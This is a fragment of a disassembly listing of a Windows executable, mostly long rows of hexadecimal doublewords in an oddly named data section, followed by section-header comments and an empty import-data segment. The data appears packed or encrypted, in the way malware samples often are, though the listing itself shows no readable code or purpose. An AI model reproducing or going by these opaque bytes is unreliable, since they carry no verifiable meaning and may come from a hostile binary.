292DB6C2h, 9D1056CDh, 11390D5Bh, 3D5FD80Bh dd 0FE1AE95h, 0E16F7C2Fh, 0B3F742A1h, 85B8103Bh, 5735E6BDh dd 67CFB437h, 0B58D057Ah, 0E87CB68Eh, 94E28E64h, 7768B8FEh dd 4A9D1A70h, 0FBDD50A4h, 194A02A7h, 3276802Dh, 0F8725AB1h dd 6767276h, 0D19283C3h, 3884323h, 9D8963CEh, 0A45BC451h dd 0EB72D897h, 40DF5FA2h, 0F59F4A66h, 136CFC69h, 270A4CEFh dd 0DB3A2D44h, 2D15E0D2h, 0B5C1BE99h, 39CAF23Eh, 0CFFA136Dh dd 0AA29C12Eh, 6ABE429h, 0B1F2A39Bh, 0DF6848A5h, 8B5EF45Eh dd 208813Bh, 0C29C5227h, 0E2857C3Dh, 45061E44h, 59CC2386h dd 0B1AF878Ch, 0A79828ECh, 82E19956h, 92201116h, 0D92AC277h dd 4C4E0EDh, 0C29C7EC3h, 7385C87Ch, 91427A7Fh, 7CFDC0Dh dd 0EDA25DDEh, 9E234BBAh, 494A0B13h, 76E0601Eh, 0A5960AACh dd 3B5CBC29h, 0BCFB4105h, 2FE85AA9h, 0A2808A53h, 21ECC4BEh dd 19372B6Ch, 0F10C00Fh, 0EA69006Eh, 7A98A9AEh, 71A15ACFh dd 855C8865h, 0F42A331Ch, 0FB34E461h, 23CE13F7h, 0A8BE6E95h dd 7B5D86FCh, 5AFC6376h, 645961A5h, 0F48BA09h, 0F5F5E990h dd 29C0E928h, 0D1638237h, 0A3170851h, 0C65DE8CCh, 0D4D76A79h dd 413BBEBAh, 7F886BC5h, 5B1DE24Bh, 0CBAD4654h, 36E7257h dd 0C85D8A35h, 9B7DA69Ch, 0F4148316h, 6A14230Bh, 44DE18C6h dd 24BA838Ch, 4BC73411h, 233E6287h, 9E5215FBh, 0A0D6BE83h dd 0FE5D0413h, 38AE560h, 0B717B7DBh, 72918BA9h, 0AF1C8481h dd 0A852D4Ch, 0E8B86604h dd 0D42D48D6h, 0F799D7E2h, 56929AF6h, 0CCDA4F87h, 889EE6DBh dd 0D7F8FC75h, 461ABD18h, 78CA9E85h, 4A0EF80Ch, 7297AA6Ch dd 9A0D7154h, 2F0A8C00h, 0E4067D0Bh, 1EA378D9h, 0C9CA8B93h dd 0F760E09Eh, 0A0113657h, 537C052Dh, 87F26A2Fh, 2A8FB4C1h dd 0DDEEFFBFh, 0A84F4C1h, 0FBE22832h, 8F6FAF30h, 6AE98318h dd 0FA18292Eh, 0F122DA4Fh, 15DC0CE5h, 0B2D39A83h, 86D58C0Eh dd 2CCD6D88h, 0D7D0F979h, 546EE87h, 0A5240B7Dh, 0D9ADB572h dd 4726B83Ch, 7D561E30h, 534FD055h, 7E81FAD2h, 0BA8FD886h dd 0F081A14Ch, 0A3ECB5BDh, 0D182BAB7h, 42889A30h, 2D9E2F49h dd 0B37D3051h, 76658FB2h, 9E3889E5h, 9B03C42Ah, 0D32CEC50h dd 0E4B8290Bh, 6F28610Bh, 60F56E50h, 7AF44B7Eh, 7B4F68ADh dd 8D5000B4h, 0AA2B02FBh, 6EA6366h, 0B1F2A361h, 0DBA8CC28h dd 50E376Bh, 9012A901h, 3E505387h, 687DA055h, 0E13A87BCh dd 86E64AFh, 0A597FD16h, 5F9828ECh, 91E665Bh, 1ED24E6h dd 235F7A01h, 0ACD611EFh, 0CACAE29Bh, 0C954FC06h, 18E9BA4Ch dd 0AF8A20B8h, 69CB218Bh, 3BD41428h, 3C5A3297h, 0A908370Ah dd 0FF99715Fh, 8B5C73A2h, 84782084h, 2FE82149h, 0F7820C32h dd 74F8BCA9h, 3832C438h, 6395278Dh, 5596EEEAh, 371C2C59h dd 5966DADCh, 0A6542D6Fh, 66C8B6FBh, 0B9B859F8h, 0DE1112E7h dd 4779C4F8h, 85C66E03h, 345E9C9h, 9D57C85Fh, 0A558E8ACh dd 45AA3ECh, 6BE454B1h, 929F8227h, 427A081Dh, 0F5E6E74Eh dd 4541E713h, 0A61A0B87h, 6FB1EC40h, 0AD0F964Bh, 6B96B0D1h dd 74BFF87Eh, 0F7A030E4h, 0C02C4D87h, 93BC4594h, 79540109h dd 6A4F2874h, 1D2E3FFFh, 4BC43601h, 0B1FE60F2h, 9EAD3507h dd 7E30BE83h, 41745190h, 0A1DA1A8Fh, 0F4E8480Ch, 0B4EAF35Ch dd 0BBFCA421h, 980ED2B7h, 0E8FC20D5h, 0C103D93Ch, 730C4C70h dd 0D4928ACBh, 0C5A0085Eh, 0EDA7985Eh, 66CFBE61h, 602EC710h dd 8F30707Dh, 0A4C39EF3h, 3BF741Fh, 28BC5FF5h, 942E2895h dd 86649638h, 0B2ECE284h, 0B77FB80Fh, 3760F0A4h, 80EC0DC7h dd 537C05D7h, 405C149h, 0AF68A131h, 0DDFED63Bh, 0CB054CA7h dd 0FD8A2133h, 19355AC5h, 0F3166E6Ah, 462AA372h, 0F132E3DDh dd 0E407E04Eh, 0C8D9C994h, 7BA45D75h, 0E93A9277h, 8770CE89h dd 3C3A6B81h, 0DB661C19h, 9EADB11Ah, 6263798h, 0AD1C3616h dd 6F612321h, 196A129Eh, 3370302Dh, 0DF9EEEBFh, 17410592h dd 3A82AAFDh, 4E90040h, 4766E934h, 0ACEBBBAAh, 99A3F652h dd 0B620A05Dh, 55ADBBE3h, 6FA9F629h, 0EBB23AD6h, 0D75E579Eh dd 38B44678h, 0CB548DFDh, 0F87A4961h, 0A3D5E727h, 55D62E2Ah dd 0F65C6E99h, 35676D30h, 0DF68D89Ch, 78EEF22Bh, 31B494ABh dd 79C32CB2h, 14250ABDh, 406BE7Ah, 4BEACC29h, 91B98B29h dd 0FF90D3D5h, 39B6C1Bh, 1A484D8h, 0E0AE4790h, 7B0F0FDh dd 25431E7Bh, 8B3FF49Fh, 0A83FDF75h, 14AEA815h, 0E5A5D73Bh dd 9EDE4CA1h, 494A0BEAh, 8D3F88B7h, 2091715Ch, 0D3FC85ADh dd 162EAAFh, 0A8D6D84h, 0A5FDFEDDh, 0B279D14Bh, 12ECA2D7h dd 0CEBA107Eh, 5D46E6Eh, 0C799DB59h, 71A24AE6h, 0EA28A865h dd 26D907F4h, 0F28C826Ah, 541F18EFh, 97405044h, 20CC6DE7h dd 0B35CA5F4h, 5CFB6169h, 0F48BA05h, 9854E791h, 6B741631h dd 0C15A2941h, 0FE0C35AFh, 1D5CDE23h, 0DC83F6C0h, 6886BFC8h dd 7F8B68D5h, 817A974Bh, 0E2104126h, 91AF247h, 17D524DDh dd 5CA2CB94h, 93AC7CF9h, 0CB47A96Fh, 1041061Dh, 0E775EE84h dd 4B2CCBFEh, 91B59D7Dh, 582F6A4Ch, 0ECD23B64h, 3DCEC09h dd 3916129Fh, 0B7428195h, 72918C86h, 827021C6h, 0E97AD2A7h dd 3D74103Dh, 0C0AC2973h, 731C6535h, 0AC886A0Eh, 0CF3CB0DCh dd 0C4E243D9h, 0CFE41471h, 5D6EC2E4h, 7ECF98C6h, 0D406610Ch dd 1ACB24D3h, 0A9A40500h, 9A42C87Ah, 6DDE6F77h, 7DBC2FF7h dd 3E254DEEh, 0E7596418h, 25E62E23h, 0D82848A9h, 97FE1E8h dd 847888F7h, 21BF4FFAh, 8E8EAC71h, 391A1B3Bh, 9E2FB867h dd 10E181ACh, 0C38C955Dh, 0F162DA5Fh, 0A7CE0491h, 0C824F53Bh dd 7BA45D8Dh, 115C989Ch, 72CA2002h, 556D7FFh, 0A524B76Fh dd 96ADB576h, 9FE1FC90h, 0BD5EA59Bh, 60BBA020h, 0B9EF8968h dd 6CF0206Fh, 893ED77Bh, 260B450Ah, 0D192833Bh, 0FF88E845h dd 0A80318BEh, 5B047D2Dh, 9DA7A5Dh, 4F53A3A4h, 0A16BCA6Eh dd 0D22CEC4Dh, 0CA02220Fh, 93EBBDEh, 0FB7EB743h, 44FCD22Ah dd 0F9728A87h, 0C652108Dh, 0FE8E9575h, 8529A51Ch, 71D32279h dd 1CD863C3h, 0F4C51E81h, 0BE83DB4Eh, 69EA6BB3h, 178080BDh dd 0A8DB437h, 0B1385942h, 0E9390A5Fh, 0A764705Ch, 82E19F24h dd 430E5751h, 26D53B62h, 3E207560h, 0B0C11E63h, 63AC757Dh dd 0B1427A7Fh, 949FAE70h, 0F4A58E73h, 30FC579Ah, 0C28A196Fh dd 67A2C890h, 2DF38FA3h, 0D2ECAC6Bh, 25366196h, 47459131h dd 0D67E56ABh, 9B46F8FCh, 310F89C7h, 1010C00Fh, 5AF7A56h dd 431C6C59h, 86A02EDFh, 9BEA23BDh, 4EF9E0EBh, 0EB7620CCh dd 0ADB512F7h, 574041A4h, 85C663EBh, 0E109D789h, 0D29E8F41h dd 431CD6A7h, 0A8212657h, 6B746AD3h, 0DB3207AEh, 4C23B0BDh dd 2DF5E26Bh, 0A8547F46h, 48EA0E7Ch, 0F4779730h, 0BD4C2EDEh dd 99979FD1h, 0D59F7B5Bh, 34A0309Fh, 0E0AF4621h, 93BC3E09h dd 3E1AD9E4h, 0EFB85846h, 0E9CCEE7Bh, 0F64FCBFEh, 795A203Fh dd 5336785Bh, 40DD416Ch, 3CCAEA1h, 326A5014h, 91C3446Fh dd 826B9F28h, 0BBF5C4B9h, 0B3FEDDB7h, 1400003Ch, 55C49276h dd 0BB95F49h, 0D929A8Dh, 4A175069h, 0FD9EE679h, 2052ECh dd 49E83A62h, 0D736736Dh, 4A423D1Bh, 5B814F86h, 11C2EABDh dd 787323F0h, 764D5907h, 70548490h, 714F8B1Bh, 0F860F0DFh dd 25E703A6h, 2BE93FA9h, 0E7F27A6Dh, 8A87A034h, 0DD024334h dd 4B0FF4C1h, 0D490945h, 93F6B89Dh, 282F81ACh, 0C38CEE61h dd 0F1C65F50h, 9AAB08E5h, 4D3E74D7h, 39CCE1F2h, 0A9B19267h dd 0D8CC87D6h, 5462301h, 3B8B2709h, 6196C980h, 4F5B7815h dd 0A919A599h, 0A99C5122h, 493802B7h, 52885D2h, 0E0895EA3h dd 0A3ECB20Bh, 0DE423FE5h, 0FF085FC0h, 2D12FFCBh, 0A4284451h dd 890EF7D8h, 89A0A05Dh, 6E23C1F6h, 982CFC69h, 2992BA9h dd 9AD00841h, 0A4417908h, 0DB060C3Ch, 0FABD9707h, 3712AC08h dd 2D533D13h, 0A5C7CDBh, 0A1A07E9Ah, 0E46843A5h, 1DAC2AAEh dd 7C56B1h, 79B8B2B2h, 0AAE9F2BDh, 0B506AE43h, 0EC64EBBBh dd 0AC120A4Fh, 8E13C49Bh, 3F1D6470h, 4F21AFF1h, 0AC2AD225h dd 177473E1h, 71B92F8Ch, 88DD50DDh, 14CDB964h, 0BFD8EA9Dh dd 95FB5DEBh, 0F3D41453h, 0B6A5C604h, 77E0C97Ch, 0AB130EA3h dd 0A1E0FB02h, 935D1A6h, 0D0C49A3Ah, 5237B944h, 74FAC6C4h dd 9DB62938h, 0CE9477CCh, 0EA69FED3h, 1F7C3A6h, 1186105Eh dd 0D1C88865h, 0C12576D8h, 3FB16355h, 0A0BA02B5h, 470280F8h dd 0D7FE303h, 0B04C9CA0h, 0F190B28Ah, 0AAFD9E95h, 3E180D55h dd 294F40E3h, 62AC442Bh, 94F17745h, 0F0F6DE33h, 0AA7C0CB9h dd 0F5DC679h, 0EA773F06h, 0AD1EA835h, 0D48B2C10h, 91BE8D2h dd 5DF470DDh, 9AD9244Bh, 8392A27Ch, 9EF22F6Fh, 0EEBD50FAh dd 91D6067Bh, 0A33BCBE5h, 794A6296h, 0E1A4F55Eh, 8633D2FAh dd 71A98F7Ch, 701B6EF6h, 135DB725h, 726E66E9h, 0ABCA96A4h dd 0BDFF5BB7h, 0FF00107Fh dd 45862EDAh, 1258391Ah, 0D6DDEFA4h, 0BC6ADD3Bh, 0ADEE8FB3h dd 42527D13h, 3CCD278Bh, 0DAD8276Dh, 5D49611Bh, 0E33CCC6Ah dd 74909FACh, 4D275CF6h, 4BC066Eh, 0FE38EDE7h, 9EDAD770h dd 888DF75h, 25F4E6DCh, 363F3CA9h, 0EA910B6Dh, 0DD28E8C0h dd 0B197B052h, 0BE193A4h, 0D128CA10h, 7F78AF32h, 0C6167E53h dd 0A2F4EFBCh, 0BF47BD31h, 79C17C8Ah, 245C6612h, 1ED80D87h dd 0FE3AF710h, 28273F15h, 8812BE7Ch, 23F18C8Ch, 3136208Fh dd 708F797Fh, 0AD604C0Eh, 0CFD85D21h, 274C9758h, 87DA303Dh dd 343EE33Eh, 0F3AC8C29h, 413745EFh, 9708F878h, 2D8A16CAh dd 0C152E05h, 0CBCEE728h, 0DD74A04Dh, 705999E7h, 133CBE3Dh dd 0BEA6EE6Ch, 7F7A14C0h, 0FF2B79FBh, 9444A4BFh, 0B17F6FC4h dd 715000CCh, 6BB0ABECh, 7BDF6C89h, 0A6695E0h, 5668C8A5h dd 1DACAEAEh, 6D744EB1h, 5758C7C8h, 570580ADh, 0C5A22A4Ch dd 33A7DCC9h, 22785A1Fh, 27995285h, 0BD1E665Bh, 0E9316BB7h dd 5A2AD259h, 83BF0F15h, 35361874h, 21E0C970h, 1CCF7A6Fh dd 0BFD8EA65h, 0AF264306h, 49850401h, 0B60A32FDh, 67DE0E88h dd 5A9E0DA3h, 0D6393826h, 118EAAFh, 6DA4ADCAh, 0C88146ABh dd 8B144A2Bh, 0B6755A44h, 0E7156EC9h, 651377D3h, 701C3C1Bh dd 20615916h, 9B42D935h, 911B49BAh, 434F433h, 39845462h dd 5880C57Dh, 85C3F487h, 3A85AF89h, 0F190BE8Ah, 5E09A995h dd 32DE3973h, 0FE9B04A1h, 99FABCA9h, 437F7028h, 0F5F6DB60h dd 61048930h, 0E9C13A2Fh, 7F881A2Eh, 5A36DDC0h, 0CBAD4054h dd 91AF257h, 34A655FDh, 753626E6h, 907E4FE9h, 36C35DAEh dd 6B3D5114h, 0A53E1639h, 4BC41D8Eh, 7A76290Ch, 0B7C0F888h dd 0D6848D93h, 0F42D1BD8h, 4DE7937Eh, 9CE85867h, 8B25C1A4h dd 36C147C8h, 5E75CAE4h, 0C703147Eh, 6D47458Ah, 498D8C4Ah dd 0CFFBFD90h, 4C05CCACh, 8F9FEAA1h, 176F9F81h, 5ABE006Ch dd 0C3BD602Fh, 6C4161BBh, 66070D5Ah, 11D2B88Fh, 1B1CA346h dd 0E20E651Bh, 9B543C13h, 6517117h, 4AEDEB76h, 25F64F6Bh dd 60B3B755h, 0E0CEC6E6h, 0D5449EC7h, 0FDD2C44Ch, 7FD8C86Bh dd 4D241EABh, 12906C10h, 1EDF9DBBh, 9BD991D8h, 0FA56DA1Ah dd 4DEB5BD8h, 7EAB396Bh, 0F04B9B0Eh, 0E06DAF74h, 53CF83B3h dd 0FAB911A5h, 668F4B34h, 7AD645C1h, 0B22787EAh, 8F6DE5CCh dd 14F4502Eh, 4957FD58h, 48BF647Eh, 8A895B37h, 4B27BFC6h dd 2E7D4492h, 5E0F830h, 0C571E937h, 0A4EBBA70h, 7776F6D8h dd 65135FA2h, 0E5A6D80Bh, 0EC4F1469h, 415AD510h, 32385875h dd 0A9AD6B7Ah, 31ADB491h, 9DCAE204h, 92DB2272h, 55C67C6Bh dd 0E57EE5FDh, 0EBAFA49Eh, 0DC8B4DAAh, 5365F62Bh, 5DAA278Dh dd 2CAA69B6h, 945305B2h, 86F1AE43h, 0F3ACDCDFh, 0E797054Fh dd 0B99838D6h, 721C3A18h, 0ABA72865h, 0D1694967h, 0A71050D0h dd 9BB211D3h, 5EBC4CFAh, 0B1625A5Fh, 0BC6B2C0Ah, 66C5D68Bh dd 1BD404D9h, 0A10B2474h, 881F8F95h, 0E7DA03A0h, 1DEFBC39h dd 1328B2Ch, 2FBC79B6h, 0A280DD53h, 0F1867BBEh, 3A8AA2C4h dd 0F75210E8h, 571DFED3h, 5356A751h, 75D19BF4h, 9AC34856h dd 87277EE8h, 7BB16D61h, 2ABA02B5h, 57F84C37h, 0D4C66F03h dd 4CAA2261h, 6347FAF0h, 0BE58E8ACh, 0BE6B163Bh, 1644498h dd 0C1237C07h, 6398A4D5h, 700921D5h, 0E1E8036Bh, 0C433D8ECh dd 7F985141h, 28F973A0h, 0DB84FD55h, 81AF257h, 0B25702A9h dd 653677E7h, 93AC7CEAh, 64B3A61Ah, 0EFA8E171h, 0E6C1F984h dd 0C6453EEAh, 795A5B03h, 0AFD0900Dh, 0D556B8FBh, 5B4B519h dd 69621A9Fh, 0A00E1ECDh, 0F1EBFC54h, 3DF4B408h, 0D006F833h dd 9288002Dh, 459617BFh, 0F6FBBCABh, 0A182B34Bh, 0CF18B85Dh dd 401EEFAEh, 2B342D1Fh, 0AE6F36E6h, 9709F4E8h, 0B5B69EF3h dd 6327B871h, 1FB8642h, 8F3C2D85h, 54B3EB8Bh, 0EF518481h dd 0B76732B0h, 0F260F0A4h, 0A0119057h, 537C052Dh, 91F26A2Fh dd 12F891C1h, 0DDEEFF47h, 880D83C3h, 2948E6E2h, 0C17850CDh dd 7DE981A1h, 3C63519Ah, 0F120ABB7h, 633583E5h, 4E2E2629h dd 6BF6E46Ch, 55617A77h, 53CF3F02h, 546ECD2h, 71B4A982h dd 3FD94A9Fh, 67067B29h, 42A15BC7h, 0E9DF562Eh, 53EB02A7h dd 47F05009h, 2788D553h, 0B7868F6Fh, 2692C0BCh, 0EF316CC0h dd 2D8E16CBh, 0D2003171h, 99D8BA6Ah, 27952D5Dh, 6EA6DEDAh dd 33C94E4h, 1616D9EFh, 6F323CCCh, 9D0B0BFBh, 3844A491h dd 1ACA53A2h, 0D0F4E38Fh, 45EFBA96h, 835C6C99h, 1F66953Fh dd 2068C8A5h, 0DC06DE58h, 0B08BDB5Ch, 79B8EAA2h, 985205BDh dd 0C50636C7h, 8B3957C9h, 0AA121A0Dh, 519289Fh, 7D1E067Fh dd 0A3EEBF01h, 1019C014h, 3CA482EEh, 252676FEh, 0B31C7F9h dd 0E3426A6Fh, 9BF42353h, 0FD267308h, 98D40401h, 495A5A30h dd 0D6B601Dh, 0AD2C8FABh, 246B4B2Ah, 43FE6F24h, 0AA0F1825h dd 5D6E7F3Fh, 8B047401h, 0A17DA0B3h, 0CE1CA24Eh, 0D12377E3h dd 0C81C3C1Bh, 41A372ACh, 0A6AC0D92h, 0CDEEB6FBh, 0F940E471h dd 0C1EB0A00h, 0A8BFBC56h, 86CA855Ah, 0C167B4FAh, 12849B03h dd 8201A731h, 2DE7B6AEh, 0A3D9DDA1h, 6AEA9265h, 0C82EEF09h dd 727B4C02h, 237C0D86h, 6880AF05h, 79FD68D5h, 0FB764422h dd 52F2D6E5h, 2EF21B07h, 6D5FDF07h, 662A04E8h, 165B6CA3h dd 0C12293EBh, 0CFB8D8F5h, 683B47F6h, 8F49BD12h, 7A4A72C5h dd 0B7C0F888h, 0BDF13D93h, 3DCEC19h, 0B84A59B4h, 5FE81BA2h dd 0CDEB81ABh, 0BAF4B40Eh, 9D7AD2B7h, 1F43C73Ah, 0E5268E63h dd 4A88D9BEh, 0A1928ADFh, 0C86CA855h, 0AC50E89h, 0A07EEB9Eh dd 49E8866Ah, 0E35936Dh, 0B85DB6B8h, 0A1FC41F2h, 1321FAEFh dd 74C32B6Eh, 0E94BA123h, 985494A8h, 0BDDAB217h, 3FE56B89h dd 26E61E61h, 432E8C24h, 2D77692Fh, 0AE7888F7h, 0CDB44D33h dd 49F8714Ah, 73332257h, 0EE9323C5h, 0D7177619h, 9BFF2FC9h dd 75A7515Fh, 77A818A7h, 4D2E1FFBh, 22BC26F0h, 236AD176h dd 0C7F94268h, 81C31983h, 33CC0C30h, 15724A8Fh, 0E7557B13h dd 0B5EB68Bh, 6F612321h, 196A129Eh, 32F0322Dh, 82B0A0A7h dd 0B3C508BCh, 0D582BABFh, 750E9D45h, 3DB7957Eh, 0DF91B351h dd 899A62EEh, 0C220A01Dh, 0E7A144E8h, 0C52E56ABh, 4859DD0Dh dd 0AD0A5FFFh, 7F688451h, 0AF968776h, 76AEC08Ch, 9AD3488Fh dd 55C67C4Fh, 3CD86399h, 4E1D65E5h, 0CF2AB010h, 0BF7B092Bh dd 0C474348Fh, 79B82682h, 0B1157FBDh, 4806BE7Dh, 0E3CEBC44h dd 4987874Fh, 1E982897h, 821E0C09h, 0BBE6C854h, 7FBF3D67h dd 0F8B0E0D3h, 257442C6h, 4529B3F9h, 1C426A41h, 0AF89E0B0h dd 0B5FB298Bh, 4DD41453h, 77F8A768h, 0D263600Dh, 0A576CCFFh dd 0D3047F29h, 5C72EAAFh, 0C279195Fh, 5D6E7E34h, 4A0B8419h dd 0A99F2242h, 24D0554Dh, 0E5693650h, 0C399ED56h, 0B2A24ACAh dd 0B5289858h, 0ABB2C3EBh, 0F71098F0h, 3ACF639Bh, 0A884A81Dh dd 80B391FCh, 4CB62961h, 1E0022F0h, 2139076Ah, 6BA60BE4h dd 4EDC4695h, 0F9EA8227h, 388F1545h, 7ECFABCCh, 0AE4C28FDh dd 4143728Ah, 77D8E3C5h, 0AB34172Dh, 8DB1B7D3h, 0F61AF23Fh dd 5D64ABDDh, 9A761C63h, 83928E7Ch, 0C9F6296Fh, 0D0E4E674h dd 1E4B5A44h, 0A3C0F282h, 86B598E5h, 582FEFE5h, 6D95DF6Ch dd 3DCEC6Dh, 1EDAAB74h, 0B7E84825h, 8D6E76B6h, 3F484F3h dd 0E97AD287h, 170010D5h dd 45A2ECC3h, 730DD9F1h, 0A19162CFh, 0E3DAB855h, 0D9CA6BDBh dd 0A80AD96Dh, 40D6421Fh, 8730980Dh, 0E13D9EF3h, 6861FC5Dh dd 772F7BE5h, 0D74838BCh, 9231B6ECh, 9B5046F0h, 0CADDB315h dd 8A2E698h, 62966768h, 119415FFh, 0FF8B0100h, 8E8h, 0E890F800h dd 66h, 0FF6467FCh, 67000036h, 268964h, 8700EB00h, 0E800EBDBh dd 45h, 0DB87DB87h, 2038EF81h, 13BDFFEFh, 0F800002Ah, 8100E183h dd 75C1h, 57FCFC00h, 786FC90h, 3166DB89h, 23Dh dup(0) dd 7FFDA000h, 134Ch dup(0) sdfs____ ends ; Section 5. (virtual address 00233000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00233000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 633000h align 2000h _idata2 ends end start